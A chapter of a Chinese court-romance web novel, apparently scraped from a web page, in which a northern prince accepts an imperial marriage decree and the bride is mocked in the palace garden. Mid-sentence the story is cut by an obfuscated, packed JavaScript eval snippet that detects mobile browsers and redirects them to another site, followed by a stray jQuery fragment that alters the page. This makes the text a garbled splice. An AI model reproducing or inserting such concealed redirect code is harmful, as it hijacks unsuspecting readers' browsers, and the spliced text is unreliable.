此语实在出人意表,黎湛神情一滞,才反应过来这是弟弟为了拒婚,编出来的谎言。
“等过几日见了皇上,不许胡说,更不许明着抗旨。”言外之意,他到时候会暗中说情,只希望弟弟不要当众顶撞皇上,否则谁都吃罪不起。
黎鸿此时有些郁闷,情绪占据上风,没有听出话外音,“什么都能听您的,唯独这次事关弟弟的终身大事,恕我无法领受这片好意。”终归他不想娶什么大宁贵女,一则他不想自己的婚姻大事被如此儿戏;二则说是结两国姻亲,实际上不就是在他身边安插了个眼线?
三则……那夜的云天嵌入梅花清香,散作一团红线,绕在他的心头。
剪不断,理还乱。
他已经与那位姑娘有了亲近之举,若是不娶她,岂不是误了人家姑娘一生。再者,如果他心里有割舍不下的人,断然不会与别人成亲,否则误人误己,会让他一辈子良心难安。
黎湛倏然一顿,神情郑重了几分,问:“真的不想娶?”
“如果娶了大宁贵女,你的背后就算是有了中原的支持,于仕途有利。”
黎鸿一时不知该如何回答,只觉二哥问话时,认真得有些奇怪,不像是与他陈明利害,倒像是在征求他的意见。
“二哥若是有了心悦的女子,还会娶旁人吗?”他语气陡然变冷,显然不喜欢这番将他的终身幸福与仕途相提并论的话。
“既然不想娶,剩下的就交给我来周旋。”黎湛微微颔首,让七弟先退下。
待屋内只余他一人,他将压在纸上的书移开,凝眸在画卷,眉间舒缓,小心抚平纸张,心道还好没有留下褶皱。
与画像中那双杏眸恍然对视之际,屋外暖阳西垂几分,恰映亮了灵动的光影。
他踱步到窗前,抬眼之际,天边的云卷入西风,飘飘忽忽映进那双凤眸,搅乱一池沉寂。
……
三日后,兄弟二人被传召入宫,黎湛上一次来大宁还是两年前,黎鸿则是第一次。
巍巍宫殿,矗立苍穹,煌煌琼楼,肃穆天际。宫墙之内囚百年哀歌,铭刻新朝万象更新。九重之上,不见宝塔,唯感圣主之余威,睥睨四方。
奉天殿内,二十三岁的年轻帝王宗霆居于座上,身穿一袭明黄色常服,俊秀白净的面容似是平易近人,眼眸却如枯井般深不见底,隐藏着深沉的帝王心术。
太后的母家算不得显赫,宗霆优势不显却在夺嫡之争中胜出,上位后更是清算了一大批政敌,其心机手段堪称狠辣。
“臣黎湛,参见皇上。”黎湛面对这位笑面阎王,不敢怠慢,恭敬行礼。
“王叔不必多礼。”皇上打心底敬重这位军功卓著的战神,亲自将其扶起。
他继而望向黎鸿,眉目在笑,其中意味却不明。
皇上一上来并没有提姻亲之事,先是寒暄几句,又问及黎湛北燕国内的政务,以及西昭国的近况。
黎鸿心有旁骛,思及“赐婚”这把悬在头顶的刀,愈发不自在。
例行询问过后,皇上笑容如旧,可眸光中似有审视,“前些日子,北燕国君给朕上书,说是要结秦晋之好。”
大宁对北燕采取的是允许其高度自治的羁縻制度,从北燕第一任国君素黎堃开始,两国为睦邻友好,就时有姻亲往来。
他顿了顿,继续道:“朕有意让义妹……也就是朕刚封的郡主,与贵国王子联姻。想让王叔帮忙拿个主意,北燕的王子里谁能结此良缘?”
黎湛略作思索,道:“若论年龄,臣的七弟或八弟,应当能与郡主相配。”
黎鸿边听着,心绪沉了几分,于情于理,都是他该担下这差事,若要轮到八弟身上,以黎源那鸡飞狗跳的性子,还不知要生出多少事端,也许刚下了旨意,北燕那边就会传来有人上吊的消息。
皇上颔首,强颜为笑:“王叔说得有理……”
此言倒是挑不出错漏,只是与他所设想的终究不太相符。
“但是。”
话锋一转之际,其余两人不解其意,一齐看向他。
黎湛稍作停顿,眼里掠过暗色,“可若论功绩,臣的两位弟弟尚无建树,恐配不上郡主。”
此言一出满殿寂然,两道视线交汇时,皇上先是一怔,随即心领神会,虽稍感意外,也算是达成了目的,微微出汗的手放松下来,继续转动玉扳指。
“王叔独身多年,陪在身边的只有侄子,身边也应当有个知冷知热的人照顾着。”
黎湛的四弟黎演年轻时战死沙场,他就将四弟的儿子养在自己名下,只等长大后再让他认祖归宗。
黎鸿越听越不对,藏于袖间的指尖绷直,抬眼之间与皇上四目相对,自知僭越,即刻低下头。
皇上淡然一笑,示意身旁太监,宣读第二道旨意。
“武安王黎湛听旨。”
“奉天承运皇帝,诏曰:
朕统御寰宇,以仁德抚四方,期四海升平,胡汉一家。念苍生福祉,愿结两国之好,特允姻亲之议。
君武侯长女陈效凌,朕之义妹,太后义女,秀毓名门,温良贤淑,德容兼备,端静柔嘉,封玉霭郡主,指婚以武安王正妃。冀此良缘,使两国安宁,天下大同。
一切礼仪,交由礼部与宗正寺共同操办,皆依照公主出嫁礼制。择日完婚。
钦此!”
宣完圣旨后,殿内陷入了半晌的寂静,静得压抑,静得可怕。
“皇上恕臣死罪。”黎鸿态度坚定,打定主意就算皇上要发落,也要替二哥说话。
“您说的这位郡主年纪应当和二哥差出一旬左右,两人结亲总归不合适。”
“那又如何呢?这位郡主倒是和你年纪相当,怎么?你要替你二哥娶亲吗?”皇上抿紧嘴唇,下颌弧度冷硬,全然收起了和善的神色。看他们似在意料之中的反应,就知他猜的不错,皇宫里多半已经被安插了北燕的眼线,只是不知是否来自黎湛一.党。
黎湛身处北燕的决策层,在整个大宁也是举足轻重的人物,若论声望,只怕他这个刚即位不久的皇帝都要逊色一些。倘若出身大宁的贵女能与之结为亲缘,获得的价值将不可估量。
故而自两人一进殿,他就试探黎湛的态度,倘若此人丝毫没有联姻的意愿,他也不会强求,毕竟那不是可以得罪的人物,之后就按北燕国君的意思,将陈效凌指给国君的七儿子。
可令他极其意外的是,黎湛非但没有抗拒之意,话语间倒像是在求娶。所以他今日准备的第二道旨意,就派上了用场。
恰一阵微风入殿,掀动藏青色的衣摆,捎起微微的清寒。
“臣领旨谢恩。”黎湛轻启薄唇,面上不辨喜怒。
见其直接应允了婚事,皇上终于舒展眉头,“成婚之事,朕会着礼部精心筹备,定会风风光光。”
“臣有一个不情之请。”
此语一出,皇上的心陡然提了起来,“王叔请讲。”
“臣想在大宁成婚。一则,算上准备的时日,成亲之日临近冬季,届时返回北燕多有不便,臣担心郡主一时受不了北燕的严寒,总得从春天开始,慢慢适应。”
“二则,皇上先前和臣北燕的改革事宜,这并非一朝一夕的功夫,望皇上容臣细细拟定人选方略。”
黎湛想的是来都来了,索性就留在大宁京城亲历朝局,看清形势,以方便北燕日后改制施策。总比在北燕天高地远,纸上谈兵有用。
话说的滴水不漏,让人挑不出错处,可皇上对他留在大宁的真相心知肚明。反省过来,却是为时已晚。
毕竟赐婚难以收回,再指给黎鸿显然不太可能。
……
兄弟二人从奉天殿出来后,行至御花园,劫后余的阴沉仍旧压在云端,夏来苍翠点缀于朱红宫墙,倒映在盈盈清池,将曲折幽径锁在方圆之间。
黎鸿出神行走,误入满园芳华,不小心坠了满身玉兰,恰从花影里窥见一抹桃粉,心湖落了一片叶,涟漪轻叩在胸腔。
那名粉衫女子背对着他,且离他们隔了一个池塘。
黎鸿凝望着她的背影,忍不住驻足,扫去记忆中的春雪,熟悉的花香萦绕在鼻尖。
“怎么了?”
因为走在前面的弟弟突然停下,黎湛也不甚撞上花枝,剔透的花瓣扫过眉心,点破了冷寂的眸子。他顺着弟弟的视线望去,长睫眨动时泛起波澜,一个在烛火中的模糊身影,逐渐清晰。
即便眼前掩了草木,也能认出她。
池塘那边,公主伙同两个宗室女,围住了陈效凌。
“恭喜阿凌姐姐,得了这么个好姻缘。”其中一人给身旁人递了个眼色,换她不阴不阳道:“北燕和蓟北正好临着,嫁到离家这么近的地方,姐姐……不,现在应该叫王妃了,怎得如此闷闷不乐?”
“告辞。”陈效凌神情冷淡,仿佛没有听到,便要越过他们离去,腕间的镶金白玉镯似有千斤重,压得她喘不过气。
这个镯子是太后当年封皇后的时候,先帝给她的礼物,如今却赠予了她,其中意味不言而喻。
从赐婚宣读圣旨,到太后与她“谈心”,一切都来得太快,如同梦境虚幻,就被打发出来了。
太后说的那些场面话,陈效凌一句都没听进去,唯有那句“你小时候哀家便瞧着你亲切,只想当自家儿女疼”,彻底点醒了她。先帝子嗣不多,公主仅有三人,与她年龄相仿的,只有太后的亲女儿永嘉公主一人。
镯上的金边蹭过指尖,沁出点点血珠,十指连心,刺痛了她的心脏,陈效凌轻咬贝齿,恍然浅笑。
她三岁那年被太后认作干女儿,原来就是为了有朝一日把她推出去替公主远嫁。
这盘棋下的真够久的。
除此之外,也是皇上忌惮她背后的外祖一家。如果她遵循原有的婚约嫁给赵王,无异于强强联合,成为皇
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092240|195481||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上的威胁。
骗她回京,本就是一场彻头彻尾的阴谋。
这么说,陈家肯定知情。
他们肯定得了皇上太后的好处,要不然怎么眼睛都不眨一下就把她推了出去。
永嘉公主宗雩受表哥赵王的影响,本就不喜陈效凌,快走几步,挡住她的去路。
“当年所谓的婚约,就是我父皇随口一说,根本做不得数。倒是父皇看走了眼,你这种品行低劣的人,哪里配得上我表哥?”永嘉公主见她那副无所谓的神情,犹为不快,缓慢踱步时眼神轻蔑:
“你小小年纪心术不正,谋害怀孕的继母,也就配嫁给生性残暴、恶意屠城的虎狼之辈,真是什么锅配什么盖!”
黎鸿飘忽的神思仅存片刻,且近几日忧心赐婚之事,没睡好觉,故而眼神不济,没有认出远处的身影,注意力全部在她们的对话上。
“她们这不是欺负人吗?讲话这么难听。”他很是不忿,颊边那颗朱砂痣不小心蹭过玉兰,花汁染红了脸颊,继而走上前一步,大有要替她出头的意思。
“那边都是女眷,你身为外男多有不便。”黎湛拉拦住了弟弟。比这难听百倍的话他都听过,他并不在意,只是……沉思之时,他稍稍挪开步子,倒能默许黎鸿的行为。
“锅盖之配”也是新鲜,陈效凌闻言一哂,道:“公主身为皇室子女,言行无状,诋毁建功立业的臣子,这话若是传到武将的耳朵里,十天半个月的禁足,怕是少不了。”
“何况要论起造福百姓,某些沉溺享乐的纨绔子弟,如何能与王爷相提并论?公主莫要侮辱王爷十几年来为国出生入死、浴血奋战的功绩。”
黎湛立下的战功不胜枚举,在百姓、官员心中威望甚高。若换作以往,她不敢如此和公主说话,可如今她马上就要远嫁,索性破罐破摔,绝不受人闲气。
“你敢不敬本公主!”永嘉公主何时受过这种委屈,本想掌掴她,却被轻松制住。
陈效凌冲她无辜眨眼,道:“听闻北燕王后仙逝多年,若是将来还有两国结亲的好机会,我定会向国君举荐公主。公主倘若能嫁给坐镇一方的汗王,那才是亲上加亲呢。”
她不屑去做这么缺德的事,这么说只为出口气。
“公主心里应当清楚,我是替谁嫁去的北燕。欠别人的,总有一天要还。”
撂下这句话后,陈效凌轻飘飘地瞥了她们一眼,并未搭理那些不善的言语,拂袖离去。替人远嫁已成既定事实,她不想把时间耽误在无谓的口舌之争,因为有远比这可怕千倍之事……
北燕虽已历经四五十年的汉化改革,但仍保留着一些可怖的旧制,堪称礼崩乐坏、伦理悖逆。
据说高祖皇帝的公主宗璃嫁过去之后不久夫君就死了,只能被迫改嫁她的大伯哥,也就是现在的北燕国君黎夺锋为贵妃。
陈效凌更不敢细想的是,她未来的夫君人称战神却杀人如麻,冷酷无情,她又该如何谨小慎微,才能保全自身?
满心愤懑逐渐散去后,留给她的,是无尽的彷徨与恐惧。
池塘那岸,兄弟两人目送着同一个身影远去,离宫的路上各怀心事。
黎鸿敛眸静听,方才所闻过分熟悉的声音,与思绪深处的清淡梅香,一遍遍重叠,偏偏此刻心跳过分躁动,让无限接近的回忆,再度迷失。
他愈发心烦,怪只怪那晚余毒未清,最想记得的人模糊不说,还令他至今神思混乱。
“在想什么?”黎湛轻声问道。
黎鸿蓦然回神,面露愧色:“对不起,害您为难。”他怪自己不够强大,不能当庭抗旨,才让二哥受他连累,替他担下这桩婚事。
“与你无关,我自会处理好。”黎湛稍稍抬眸,神情一如既往冷淡。
黎鸿暗自斟酌。
以二哥的权势,莫要说是在皇上面前抗旨,哪怕是成婚前一天悔婚,都无人敢多置喙一句。他以为,二哥帮他担下来这桩婚事,只是为解燃眉之急,其实并无成亲的打算。
可是转念一想,只要是二哥答应的,又是婚约这样大的事,断断不会反悔……两种矛盾的思绪一齐袭来,令他费解。
“您接下来……真的打算娶郡主吗?”黎鸿试探问道。
黎湛眉峰微蹙,“要是我拒绝了,让郡主日后怎么做人?”随后平视前方,神情肃然:“如今大宁和北燕关系微妙,皇上又根基未稳,如果此时拒婚,只会惹得朝廷猜疑,没有必要为这些事让两国生了嫌隙。”
这是最符合情理的说辞。
却说服不了黎鸿。
他望着身旁二哥,一言不发,从那隐有波澜的眸光中寻到端倪。
恍惚间,竟觉得二哥对他有所隐瞒……
不过既然二哥已经做好决定,必然有更深层的考量,也无需旁人再行过问。
黎鸿别开目光时,只那一瞬……
错过了对方眼底的幽潭,暗潮波动。